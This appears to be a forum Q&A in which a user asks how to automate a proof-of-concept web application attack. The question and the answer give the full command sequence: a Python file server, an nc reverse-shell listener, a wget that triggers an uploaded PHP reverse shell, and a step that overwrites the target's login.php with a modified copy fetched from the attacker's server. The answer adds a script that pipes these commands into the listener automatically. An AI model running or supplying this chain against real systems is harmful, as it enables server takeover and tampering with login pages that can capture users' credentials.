Reece Gounden Reece Gounden - 10 days ago 6
Linux Question

How to automate a bash script

Good day good people!

I am trying to write a script that will allow me to show off a PoC for hacking a web application, currently it requires me to open several different processes and terminals and execute commands in a specific terminal then switch back to other ones.

I want to do the following:




  • terminal 0:

  • start http server
    > python -m SimpleHTTPServer 8081

  • start terminal 1:

  • start shell listener
    > nc -v -n -l -p 8082

  • start terminal 2:

  • start reverse shell
    > wget "172.16.0.XXX/upload/16/rs/rs.php"

  • terminal 1 (inside nc):

  • browse to directory
    > cd var/www/users/

  • download modified page
    > wget "10.13.37.128:8081/login.php"

  • star terminal 3:

  • Open firefox and browse to 172.16.0.180/users/login.php




& python -m SimpleHTTPServer 8081

& terminal -e nc -v -n -l -p 8082

wget "172.16.0.180/upload/16/rs/php-reverse-shell.php"

cd var/www/users #Problem is here, how do i switch back to the nc terminal?

wget "10.13.37.128:8081/login.php"


What confuses me is switching between the specific terminals when i need to. Would it make sense to just write a macro for this instead or is is possible to do this? Any help would be appreciated!

Answer

what about a script that launch various terminal?

gnome-terminal -e 'python -m SimpleHTTPServer 8081'
gnome-terminal -e 'nc -v -n -l -p 8082'
gnome-terminal -e 'wget "172.16.0.XXX/upload/16/rs/rs.php"'
gnome-terminal -e 'wget "10.13.37.128:8081/login.php"'
gnome-terminal -e 'firefox "http://172.16.0.180/users/login.php"'

for "nc problem" i suggest a simple trick:

(sleep 3 ; echo cd var/www/users/ ; echo wget "10.13.37.128:8081/login.php") | nc -v -n -l -p 8082